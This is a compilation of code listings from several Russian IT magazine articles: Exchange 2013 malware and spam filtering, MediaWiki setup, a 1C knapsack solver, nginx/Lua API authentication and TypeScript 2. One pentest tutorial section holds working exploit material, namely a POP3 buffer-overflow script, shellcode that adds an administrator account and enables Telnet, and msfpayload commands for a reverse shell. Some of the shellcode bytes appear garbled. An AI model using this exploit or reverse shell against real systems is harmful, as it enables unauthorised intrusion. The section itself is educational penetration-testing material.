Модификация и фильтрация передаваемых сообщений Exchange Server 2013
Александр Пичкасов
Листинг 1
#Получение имени корневого домена
$ad0=(Get-AcceptedDomain)[0]
#Загрузка оснастки управления антивирусным агентом
Add-PSSnapin -Name Microsoft.Forefront.Filtering.Management.PowerShell
#Настройка прокси-сервера для загрузки обновлений
#(имя и номер порта указаны для примера)
Set-ProxySettings -Enabled $true -Server proxy.$ad0 -Port 8080
#Включение антивирусной защиты
& "C:\Program Files\Microsoft\Exchange Server\V15\Scripts\Enable-AntimalwareScanning.ps1"
#Для вступления изменений в силу требуется перезагрузка
#транспортной службы
Restart-Service MSExchangeTransport
#Запрос информации о состоянии обновлений
Get-EngineUpdateInformation
Листинг 2
$mbx1 = (Get-MailboxServer)[0]
$mbx2 = (Get-MailboxServer)[1]
$mdb1mbx1 = (Get-MailboxDatabase -Server $mbx1)[0]
$mdb1mbx2 = (Get-MailboxDatabase -Server $mbx2)[0]
$ad0=(Get-AcceptedDomain)[0]
$pass = ConvertTo-SecureString 'Pa$$w0rd' –AsPlainText –Force
#Создание почтовых ящиков на разных серверах
New-Mailbox -Name "Alberto" -LastName "Serra" -Database $mdb1mbx1 -Password $pass -ResetPasswordOnNextLogon $false -DisplayName "Alberto Serra" -Alias alberto -UserPrincipalName "alberto@$ad0"
New-Mailbox -Name "Augusto" -LastName "Cavalli" -Database $mdb1mbx2 -Password $pass -ResetPasswordOnNextLogon $false -DisplayName "Augusto Cavalli" -Alias augusto -UserPrincipalName "augusto@$ad0"
Листинг 3
#Создание группы получателей для применения политики
New-DistributionGroup -Name Finance -Members augusto,alberto
#Создание политики фильтрации вредоносных программ
$filterpolicy = (New-MalwareFilterPolicy -Name "Finance Malware Filter Policy" -Action DeleteAttachmentAndUseDefaultAlertText -EnableExternalSenderNotifications $true -EnableInternalSenderNotifications $true -EnableInternalSenderAdminNotifications $true -InternalSenderAdminAddress administrator@$ad0).name
#Создание правила фильтрации сообщений для политики
New-MalwareFilterRule -Name "Finance Malware Filter Rule" -MalwareFilterPolicy $filterpolicy -SentToMemberOf Finance
#Создание тестового файла
‘X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*’ > c:\eicar.txt
#Отправка тестового сообщения с вложением EICAR
Send-MailMessage -from alberto@$ad0 -to augusto@$ad0 -Subject "Test malware message" -SmtpServer localhost -Body (Get-Content C:\eicar.txt)
#Запрос данных трассировки передачи сообщений за последние
#3 минуты, за исключением системных
Get-TransportService | Get-MessageTrackingLog -Start (get-date).addminutes(-3) | ? {$_.sender -notlike "*health*" -and $_.sender -notlike "*proxy*" -and $_.sender -notlike "*probe*"} | sort timestamp | ft -a
Листинг 4
#Установка агентов фильтрации нежелательной почты
& 'C:\Program Files\Microsoft\Exchange Server\V15\Scripts\install-AntispamAgents.ps1'
#Изменения требуют рестартовать службу транспорта
Restart-Service MSExchangeTransport
#Запрос данных обновленной конфигурации
Get-TransportAgent
#Задание адресов внутренних SMTP-серверов, IP-адреса указаны для примера
Set-TransportConfig -InternalSMTPServers @{Add="192.168.60.21","192.168.60.22"}
#Включение и задание параметров фильтра отправителей
Set-SenderFilterConfig -Action StampStatus -BlankSenderBlockingEnabled $true -BlockedDomainsAndSubdomains @{add="wikedspamer.org"} -RecipientBlockedSenderAction Reject
#Включение и настройка фильтра по идентификатору отправителя
Set-SenderIdConfig -BypassedRecipients @{Add="postmaster@$ad0"} -SpoofedDomainAction StampStatus -TempErrorAction StampStatus
#Включение и настройка фильтра по содержимому
Set-ContentFilterConfig -BypassedRecipients @{Add="postmaster@$ad0"} -Enabled $true -SCLDeleteEnabled $false -SCLQuarantineEnabled $false -SCLRejectEnabled $false
#Задание порогового значения нежелательной почты для почтовых ящиков
Set-OrganizationConfig –SCLJunkThreshold 6
#Включение и настройка фильтра на основе репутации отправителя
Set-SenderReputationConfig -SenderBlockingEnabled $false
#Включение и настройка фильтра получателей
Set-RecipientFilterConfig -BlockListEnabled $true -BlockedRecipients finance@$ad0
Листинг 5
#Создание правила, блокирующего исполнимые вложения
New-TransportRule -Name "Block executable attachments" -AttachmentHasExecutableContent $true -RejectMessageReasonText "We don't accept executable attachments" -StopRuleProcessing $true -RuleErrorAction Defer -Priority 0 -Mode Enforce
#Создание правила, помечающего сообщения с архивированными вложениями значением 7 индекса SCL
New-TransportRule -Name "Mark zipped attachment as junk mail" -AttachmentExtensionMatchesWords "zip","rar", "tar","lzh","gz","bz" -SetSCL 7 -StopRuleProcessing $true -RuleErrorAction Defer -Priority 1 -Mode Enforce
#Создание правила, отправляющего на утверждение сообщения с неподдерживаемыми вложениями
New-TransportRule -Name "Moderate unsupported attachments" -AttachmentIsUnsupported $true -ModerateMessageByUser administrator@$ad0 -RuleErrorAction Defer -StopRuleProcessing $true -Priority 2 -Mode Enforce
#Создание тестовых файлов вложений
fsutil file createnew c:\attach.zip 50000
fsutil file createnew c:\attach.bin 50000
#Отправка тестовых сообщений
Send-MailMessage -From alberto@$ad0 -To augusto@$ad0 -SmtpServer localhost -Port 25 -Subject "Test executable attachment" -Attachments C:\Windows\notepad.exe
Send-MailMessage -From alberto@$ad0 -To augusto@$ad0 -SmtpServer localhost -Port 25 -Subject "Test zipped attachment" -Attachments C:\attach.zip Send-MailMessage -From alberto@$ad0 -To augusto@$ad0 -SmtpServer localhost -Port 25 -Subject "Test unsupported attachment" -Attachments C:\attach.bin
Листинг 6
#Выбор шаблона для создания политики
$dlptmpl = (Get-DlpPolicyTemplate | ? {$_.name -like "*pci*"}).name
#Создание политики DLP на основе выбранного шаблона
$dlp = (New-DlpPolicy -Template $dlptmpl -Name "Policy PCI DSS" -Mode AuditAndNotify).name
#Экспорт выбранной политики в файл
$file = Export-DlpPolicyCollection –Identity $dlp
Set-Content -Path "C:\Policy PCI DSS.xml" -Value $file.FileData -Encoding Byte
#Удаление существующей политики
Remove-DlpPolicy -Identity $dlp -Confirm:$false
#Создание новой политики на основе собственного шаблона
$filedata = [Byte[]](Get-Content -Encoding Byte -Path "C:\Custom DLP Template.xml" -ReadCount 0)
New-DlpPolicy -TemplateData $filedata -Name "Modifyed PCI DSS"
Листинг 7
#Установка запроса утверждения для группы рассылки
Set-DistributionGroup Finance -ModeratedBy administrator@$ad0 -ModerationEnabled $true
#Отправка тестового сообщения
Send-MailMessage -From alberto@$ad0 -To finance@$ad0 -SmtpServer arcticmail -Port 25 -Subject "Test moderated finance group
#Задание ограничений приема сообщений, «белый» список
Set-Mailbox alberto -AcceptMessagesOnlyFrom augusto
#Задание ограничений приема сообщений, «черный» список
Set-Mailbox augusto -RejectMessagesFromSendersOrMembers alberto
#Отправка тестовых сообщений
Send-MailMessage -From augusto@$ad0 -To alberto@$ad0 -SmtpServer arcticmail -Port 25 -Subject "Test white list"
Send-MailMessage -From alberto@$ad0 -To augusto@$ad0 -SmtpServer arcticmail -Port 25 -Subject "Test black list"
-----------------------------------------------------------------------------------------
Создание сайта вики-семейства. Википедия по своим правилам. Пошаговая инструкция. Шаг 3
Павел Малахов
RewriteEngine On
RewriteCond %{HTTP_HOST} (www\.)?en\.mywiki\.org$
RewriteCond %{REQUEST_URI} !^(/)?en/
RewriteRule ^(.*)$ en/$1
RewriteCond %{HTTP_HOST} (www\.)?ru\.mywiki\.org$
RewriteCond %{REQUEST_URI} !^(/)?ru/
RewriteRule ^(.*)$ ru/$1
RewriteCond %{HTTP_HOST} (www\.)?ta\.mywiki\.org$
RewriteCond %{REQUEST_URI} !^(/)?ta/
RewriteRule ^(.*)$ ta/$1
$ ln -s ../w w
$wgUploadNavigationUrl = 'http://ru.mywiki.org/main/Special:Upload';
$wgUploadDirectory = "/home/user/site1/w/ru". $wgUploadPath;
$wgSharedPrefix = 'w_ru_main__';
LS_common_ru.php:
> $dest/LocalSettings.php
$ new_wiki.sh main
$ new_wiki.sh buh
$ new_wiki.sh managers
$ new_wiki.sh main
$ new_wiki.sh it
* Разделы
** mw-ru-main:|Главный
** mw-ru-chief:|Руководство
** mw-ru-buh:|Бухгалтерия
** mw-ru-managers:|Менеджеры
** mw-ru-it:|ИТ
** mw-en-main:|США
** mw-en-buh:|США бухгалтерия
** mw-en-managers:|США менеджеры
** mw-ta-main:|Индия
** mw-ta-it:|Индия ИТ
{{mw-ru-main:Семейство}}
class Names {
public static $names = [
'mw-ru-main' => 'Рус. Главная', # Разделы на русском
'mw-en-main' => 'Анг. Главная', # Разделы на английском
'mw-ta-main' => 'Там. Главная', # Разделы на тамильском
'aa' => 'Qafár af', # Afar
'ab' => 'Аҧсшәа', # Abkhaz
Исходники в [[:mw-en-main:Source code | англоязычном разделе]].
Исходники в [[mw-en-main:Source code | англоязычном разделе]].
$ wget https://extdist.wmflabs.org/dist/extensions/CharInsert-REL1_27-1664cd0.tar.gz
wfLoadExtension( 'CharInsert' );
Быстрая вставка:
[[+]]
[[|+]]
{{+}}
#перенаправление [[+]]
[[Категория: +]]
[+]
[[Файл:+]]
Форматирование текста:
+
+
+
+
+
[[:Категория:Шаблоны | Шаблоны]]:
{{mw-ru-main:Семейство}}
{{raw:mw-ru-main::MediaWiki:Edittools}}
-----------------------------------------------------------------------------------------
Проводим пентест. Часть 6. Пишем эксплоит
Андрей Бирюков
.586p ; защищенный режим
.model flat,stdcall
;плоская модель памяти (код и данные используют одно
;и то же адресное пространство).
SW_HIDE = 1 ; окно скрыто
extrn _WinExec@8:PROC ;подключаем внешнюю функцию ОС WinExec
extrn _ExitProcess@4:PROC ; корректное завершение работы программы c ExitProcess
.data ; сегмент данных
CmdCommand db ' sc config tlntsvr start= auto',0 ; выполняемая команда
.code ; сегмент кода
start:
call _WinExec@8, offset CmdCommand, SW_HIDE ; вызываем выполнение команды в невидимом окне
call _ExitProcess@4, 0 ; процедура выхода
end start
C:\shellcode>arwin kernel32.dll WinExec
C:\shellcode>arwin kernel32.dll ExitProcess
.586p
.model flat
.code
start:
xor eax,eax ; обнуляем регистр eax
jmp short GtSt ; совершаем безусловный переход
retv: ; метка
pop ecx ; извлекаем содержимое стека в регистр ecx
mov eax,1 ; загрузим в eax 1 (SW_SHOW)
push eax ; push 1
push ecx ; в ecx адрес db "calc.exe"
mov eax,77E4FD60h ;адрес вызова WinExec
call eax ; вызываем WinExec
mov eax,77e59863h ; адрес вызова ExitProcess
call eax ; вызываем ExitProcess
GtSt: ; метка
call retv ; вызов метки retv
db "sc config tlntsvr start= auto" ; выполняемая строка
end start
tasm32 /mx /m3 /z /q exploit.asm
tlink32 -x /Tpe /aa /c exploit,exploit,, import32.lib
Editbin.exe /SECTION:CODE,w exploit.exe
msfconsole
use payload/generic/custom
set PAYLOADFILE /путь_к_файлу/exploit.exe
generate
Листинг 1. Код скрипта для поиска bad characters
#!/usr/bin/python
import
socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer="A"*2606+"B"*4 + badchars
try:
print "\nSending evil buffer..."
s.connect((IP_address,110))
data=s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS'+buffer+'\r\n')
s.close()
print "\nDone!"
except:
print "Could not connect to POP3!"
…
retv:
pop ecx
mov al, 1 ; удаляем нулевой байт
push eax
push ecx
mov eax,77E4FD60h
…
# /usr/share/metasploit-framework/tools/nasm_shell.rb
nasm> jmp esp
Листинг 2. Код получившегося эксплоита
#!/usr/bin/python
Import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
shellcode = (\x93\x33\xc0\xeb\x14\x59\x88\x41\x46\x50\x51\
xb8\x60\xfd\xe4\x77\xff\xd0\xb8\x63\x98\xe5\x77\xff\xd0\xe8\
xe7\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\
x6e\x65\x74\x20\x75\x73\x65\x72\x20\x30\x78\x20\x70\x73\x20\
x2f\x41\x44\x44\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\
x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\
x72\x61\x74\x6f\xb0\x01\x44\x44\x20\x30\x78\x4e\x94 )
buffer="A"*2606+x94 \x8f\x35\x4a\x5f\x94 + "\x90"*8 + shellcode
try:
print "\nSending evil buffer..."
s.connect((IP_address,110))
data=s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS'+buffer+'\r\n')
s.close()
print "\nDone!"
except:
print "Could not connect to POP3!"
# msfpayload -l
# msfpayload windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 C
# msfpayload windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 R | msfencode -b "\x00\x0a\x0d"
Листинг 3. Код итогового эксплоита
#!/usr/bin/python
import
socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
shellcode = ("\xbb\xdc\x@e\x23\x1c\xd9\xed\xd9\x74\x24\xf4\
x5f\x33\xc9\xb1\x4f\x31\x5f\x14\x83\xef\xfc\x@3\x5f\x10\x3e\
xfb\xdf\xf4\x37\x04\x20\x05\x27\x8c\xc5\x34\x75\xea\x8e\x65\
x49\x78\xc2\x85\x22\x2c\xf7\x1e\x46\xf9\xf8\x97\xec\xdf\x37\
x27\xc1\xdf\x94\xeb\x40\x9c\xe6\x3f\xa2\x9d\x28\x32\xa3\xda\
x55\xbd\xf1\xb3\x12\x6c\xe5\xb0\x67\xad\x04\x17\xec\x8d\x7e\
x12\x33\x79\x34\x1d\x64\xd2\x43\x55\x9c\x58\x0b\x46\x9d\x8d\
x48\xba\xd4\xba\xba\x48\xe7\x6a\xf3\xb1\xd9\x52\x5f\x8c\xd5\
x5e\x9e\xc8\xd2\x80\xd5\x22\x21\x3c\xed\xf0\x5b\x9a\x78\xe5\
xfc\x69\xda\xcd\xfd\xbe\xbc\x86\xf2\x0b\xcb\xc1\x16\x8d\x18\
x7a\x22\x06\x9f\xad\xa2\x5c\xbb\x69\xee\x07\xa2\x28\x4a\xe9\
xdb\x2b\x32\x56\x79\x27\xd1\x83\xfb\x6a\xbe\x60\x31\x95\x3e\
xef\x42\xe6\x0c\xb0\xf8\x60\x3d\x39\x26\x76\x42\x10\x9e\xe8\
xbd\x9b\xde\x21\x7a\xcf\x8e\x59\xab\x70\x45\x9a\x54\xa5\xc9\
xca\xfa\x16\xa9\xba\xba\xc6\x41\xd1\x34\x38\x71\xda\x9e\x4f\
xb6\x4d\x2b\x50\x38\x8a\x43\x52\x38\x93\x28\xdb\xde\xf9\x5e\
x8a\x49\x96\xc7\x97\x01\x07\x07\x02\x81\xa4\x9a\xc9\x51\xa2\
x86\x45\x06\xe3\x79\x9c\xc2\x19\x23\x36\xf0\xe3\xb5\x71\xb0\
x3f\x06\x7f\x39\xcd\x32\x5b\x29\x0b\xba\xe7\x1d\xc3\xed\xb1\
xcb\xa5\x47\x70\xa5\x7f\x3b\xda\x21\xf9\x77\xdd\x37\x06\x52\
xab\xd7\xb7\x0b\xea\xe8\x78\xdc\xfa\x91\x64\x7c\x04\x48\x2d\
x8c\x4f\xd0\x04\x05\x16\x81\x14\x48\xa9\x7c\x5a\x75\x2a\x74\
x23\x82\x32\xfd\x26\xce\xf4\xee\x5a\x5f\x91\x10\xc8\x60\xb0")
buffer="A"*2606+x94 \x8f\x35\x4a\x5f + "\x90"*8 + shellcode
try:
print "\nSending evil buffer..."
s.connect((IP_address,110))
data=s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS'+buffer+'\r\n')
s.close()
print "\nDone!"
except:
print "Could not connect to POP3!"
-----------------------------------------------------------------------------------------
Разработка обработки для решения классической задачи об укладке ранца
Кирилл Ткаченко
Листинг 1. Реализация решения задачи
// Начинается секция исходного кода для описания процедуры.
&НаКлиенте
Процедура Рассчитать(Команда)
// Задаются имена объявляемых переменных, в которых:
Перем nПр; // хранится максимальное количество предметов
Перем mВмест; // хранится максимальная вместимость
Перем iПр; // хранится номер текущего рассматриваемого предмета
Перем jВмест; // хранится текущая вместимость
Перем Веса; // хранятся веса предметов
Перем Ценности; // хранятся ценности предметов
Перем Рез; // хранится список предметов – решение задачи
Перем ДП; // хранится двумерный массив ценностей для организации динамического программирования
// Создаются массивы
Веса = Новый Массив();
Ценности = Новый Массив();
Рез = Новый Массив();
// Выполняется получение количества строк в таблице исходных данных
nПр = ИсходныеДанные.Количество();
mВмест = Число(Вместимость);
// Выполняется проход по каждой строке матрицы с исходными данными
Для Каждого Стр Из ИсходныеДанные Цикл
// В конец массива добавляется элемент.
Веса.Добавить(Число(Стр.Вес));
Ценности.Добавить(Число(Стр.Ценность));
КонецЦикла;
// Обнуляются элементы массива ДП
ДП = Новый Массив(nПр + 1, mВмест + 1);
Для iПр = 0 По nПр Цикл
Для jВмест = 0 По mВмест Цикл
ДП[iПр][jВмест] = 0;
КонецЦикла;
КонецЦикла;
// Подзадачи рассматриваются в порядке возрастания номера предмета
Для iПр = 1 По nПр Цикл
// Подзадачи рассматриваются в порядке возрастания вместимости
Для jВмест = 1 По mВмест Цикл
// Предмет с номером iПр не помещается в ранец
Если Веса[iПр - 1] > jВмест Тогда
// Значение в ячейке ДП соответствует значению на строку выше
ДП[iПр][jВмест] = ДП[iПр - 1][jВмест];
// Предмет с номером iПр помещается в ранец
Иначе
// Предмет помещается или не помещается, в зависимости от ценности.
ДП[iПр][jВмест] = Макс(ДП[iПр - 1][jВмест], ДП[iПр - 1][jВмест - Веса[iПр - 1]] + Ценности[iПр - 1]);
КонецЕсли;
КонецЦикла;
КонецЦикла;
// Начиная с максимальной вместимости.
jВмест = mВмест;
// Начиная с номера наибольшего предмета.
iПр = nПр;
// Для всех предметов
Пока iПр > 0 Цикл
// Если предмет положен в ранец.
Если ДП[iПр][jВмест] <> ДП[iПр - 1][jВмест] Тогда
Рез.Добавить(iПр);
jВмест = jВмест - Веса[iПр - 1];
КонецЕсли;
// На следующий предмет.
iПр = iПр - 1;
КонецЦикла;
// Загружается список значений на основе переданного массива, прежние элементы удаляются.
ВыбранныеПредметы.ЗагрузитьЗначения(Рез);
// Выполняется сортировка элементов списка значений в порядке возрастания.
ВыбранныеПредметы.СортироватьПоЗначению();
КонецПроцедуры
-----------------------------------------------------------------------------------------
Прозрачная защита микросервисов. Как защитить API и создать функциональность для REST API
Александр Календарев
$lua
>x = "Hello World!"
>print(x)
x = "Hello World!"
print(x)
$lua foo.lua
$lua
> x=0
> for i =1,5 do
>> x = x+i
>> end
> print(x)
>function factorial(n)
>> local x = 1
>> for i = 2, n do
>> x = x * i
>> end
>> return x
>> end
> x = factorial(5)
> print(x)
$lua
> mymodule = require "mymodule"
-- вызываем foo() из модуля "mymodule"
> mymodule.foo
> tab = {1,3}
> print(tab)
> print(tab[0])
> print(tab[1])
> print(tab[3])
> print(tab[2])
> point = {x=20,y=30}
> print(point)
> print(point['x'])
> print(point['y'])
$ luajit
> point = { x = 10, y = 20 }
> print(point.x)
luajit -bg foo.lua foo.o -- компиляция библиотеки foo:
$lua
> require "foo" -- загрузка библиотеки
$ sudo apt install lua,luajit
$ git clone https://github.com/nginx/nginx.git
$ git clone https://github.com/openresty/lua-nginx-module.git
$ cd nginx
$ ./auto/configure
$ make
$ sudo make install
export LUAJIT_LIB=/usr/lib/x86_64-linux-gnu/
export LUAJIT_INC=/usr/include/luajit-2.0
./auto/configure --with-stream --with-ld-opt="-Wl,-rpath,/usr/lib/x86_64-linux-gnu/" --add-module=../lua-nginx-module --add-module=../echo-nginx-module --add-module=../ngx_devel_kit
location /test {
default_type 'text/plain';
content_by_lua 'ngx.say("Hello World!")';
}
$ curl http://localhost/test
location /test {
default_type 'text/plain';
content_by_lua_block {
if (ngx.var.user_id)
ngx.say(ngx.var.user_id)
end
}
}
worker_processes 1;
daemon off;
$curl http://localhost/test?user_id=123
nginx.conf:
location /test {
default_type 'text/plain';
content_by_lua_file /path/to/foo.lua
}
foo.lua:
local args,err = ngx.req.get_uri_args()
if not args then
ngx.say("failed to get args: ", err)
return
end
for key, val in pairs(args) do
ngx.say(key, ": ", val)
end
$curl 'http://localhost/foo?vv=12312&d=4'
nginx.conf:
location /foo {
default_type 'text/plain';
# необходимо указать размер
client_max_body_size 50k;
client_body_buffer_size 50k;
content_by_lua_file /home/akalend/projects/test/ngx-lua/step1.lua;
}
step1.lua:
ngx.req.read_body()
local key = '12345'
local body = ngx.req.get_body_data()
if body then
ngx.say( ngx.md5(body .. key ))
end
$ curl -d 'data' http://localhost/foo
Authorization: Token <значение хеша>
local h = ngx.req.get_headers()
local token = h.Authorization
md_hash = token:match("([^Token ].+)")
ngx.say(md_hash)
$ curl -d 'data' -H 'Authorization: Token 96948dd29dfbcee7cb65aeef1280df59 ' http://localhost/foo
local data = body .. key
if (ngx.md5(data) ~= md_hash) then
ngx.say("Access denied")
return
end
ngx.say("Ok")
content_by_lua_file
access_by_lua_file
ngx.say("Access denied")
ngx.say("Access denied")
location /api {
default_type 'text/plain';
client_max_body_size 50k;
client_body_buffer_size 50k;
access_by_lua_file /path/to/access.lua;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass 127.0.0.1:9000;
include fastcgi_params;
fastcgi_param USER $user;
fastcgi_param DOCUMENT_ROOT /path/to/www/dir;
fastcgi_param SCRIPT_FILENAME /path/to/www/dir/index.php;
fastcgi_index index.php;
}
if (ngx.req.get_method() = "POST" then
ngx.say("POST")
return
end
ngx.say("GET")
if (ngx.req.get_method() = "GET" or ↵
ngx.req.get_method() = "DELETE" then
local query_string = ngx.var.uri .. '?' .. ngx.var.args .. key
if md_hash == ngx.md5(query_string) then
ngx.say("Authorization:\tOk")
return
end
ngx.say("Authorization:\tFalse")
return
end
$ curl -H 'Authorization: Token 4ed419548859553949df53ff4df45102' http://localhost/test?ddd=3
$ curl -H 'Authorization: Token 4ed419548859553949df53ff4df45102' http://localhost/test?ddd=4
$ curl -X DELETE -H 'Authorization: Token 96948dd29dfbcee7cb65aeef1280df59' http://localhost/test/123
location ~ ^/api/(\w+)
default_type 'text/plain';
set $key = '123';
set $user_id $1;
access_by_lua_file /path/to/access.lua;
...
}
http {
lua_shared_dict keys 10m;
server {
location /init-key {
content_by_lua '
local dogs = ngx.shared.keys
keys:set("user_1", 1)
keys:set("user_2", 2)
keys:set("user_3", 3)
ngx.say("STORED")
';
}
location / {
content_by_lua '
local keys = ngx.shared.keys
if keys then
ngx.say("user:",keys:get("user_1"))
end
'
}
}
}
location ~ ^/api/info/(\w+)
{
set $user_id $1;
access_by_lua_file /path/to/access.lua;
...
}
local h = ngx.req.get_headers()
...
md_hash = token:match("([^Token ].+)")
local cjson = require("cjson")
ngx.req.read_body()
local body = ngx.req.get_body_data()
-- Для {"user_id" :123, some : data, ...}
body_object = cjson.decode(body)
if body_object == nil then
ngx.exit(ngx.HTTP_FORBIDDEN)
end
local user_id = body_object.user_id
if ~ user_id then
ngx.exit(ngx.HTTP_FORBIDDEN)
end
-- Получаем ключ из общей памяти
local key = keys:get(user_id)
if ~ key then
ngx.exit(ngx.HTTP_FORBIDDEN)
end
if md_hash ~= ngx.md5(body .. key) then
ngx.exit(ngx.HTTP_FORBIDDEN)
end
return
-- счетчик в общей памяти +1
local counter = counters:incr(user_id,1,0)
-- nginx.conf: set $max_calls_api 25000;
if counter > ngx.var.max_calls_api then
ngx.exit(ngx.HTTP_FORBIDDEN)
end
locaton /flush {
deny all; // разрешаем только с локального IP
allow 127.0.0.1;
// чистим общую память
content_by_lua 'ngx.shared.counters.flush_all()';
echo "Ok";
}
curl http://127.0.0.1/flush
-----------------------------------------------------------------------------------------
Что нового в TypeScript 2
Александр Майоров
npm i -g typescript
let x: number;
let y: number | undefined;
let z: number | null | undefined;
let x: number;
let y: number | null;
let z: number | undefined;
// x: number | undefined
// x: number | undefined
declare function f(x: number): string;
let x: number | null | undefined;
if (x) {
f(x); // Ок, у x тип number
}
else {
// Ошибка, у x тип number? (по сути number|null|undefined)
f(x);
}
// У a тип string
let a = x != null ? f(x) : "";
// У b тип string? (по сути string|null|undefined)
let b = x && f(x);
x != null
x === undefined
interface Options {
location?: {
x?: number;
y?: number;
};
}
function foo(options?: Options) {
if (options && options.location && options.location.x)
const x = options.location.x;
}
let x = null;
function validateEntity(e: Entity?) {
// Бросить исключение, если у e значение null или недопустимый Entity
}
function processEntity(e: Entity?) {
validateEntity(e);
let s = e!.name;
}
type Digit = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
let nums: Digit[] = [2, 4, 8];
// Ошибка! 32 не входит в тип 'Digit'!
nums.push(32);
function error(message: string): never {
throw new Error(message);
}
function fail() { // :never
return error("Failed");
}
function infiniteLoop(): never {
while (true);
}
interface Point {
readonly x: number;
readonly y: number;
}
var p1: Point = { x: 10, y: 20 };
p1.x = 5; // Error!
class Foo {
readonly a = 1;
readonly b: string;
constructor() {
this.b = "hello"; // Ok
}
}
function foo(this: void) {
// Использование this в теле функции приведет к ошибке
}
class Foo{
a: number;
b?: number;
c() { return 1 }
d?() { return 2 }
f?(): number; // Тело может быть опущено
}
class Singleton {
private static instance: Singleton;
private constructor() { }
static getInstance() {
if (!Singleton.instance)
Singleton.instance = new Singleton;
return Singleton.instance;
}
}
let Obj1 = new Singleton(); // Error!
let Obj2 = Singleton.getInstance(); // Ok
abstract class Base {
abstract name: string;
abstract get value();
abstract set value(v: number);
}
class Derived extends Base {
name = "derived";
value = 1;
}
function httpService(path: string, headers: { [x: string]: string }) { }
const headers = {
"Content-Type": "application/x-www-form-urlencoded"
};
httpService("", { "Content-Type": "application/x-www-form-urlencoded" }); // Ок
// Раньше это вызвало бы ошибку компилятора, но сейчас – нет
httpService("", headers);
// declaration1.d.ts
interface Foo { a?: string; }
// declaration2.d.ts
interface Foo {
b?: string;
c?: string;
a?: string; // Ок
}
npm install --save @types/underscore
-----------------------------------------------------------------------------------------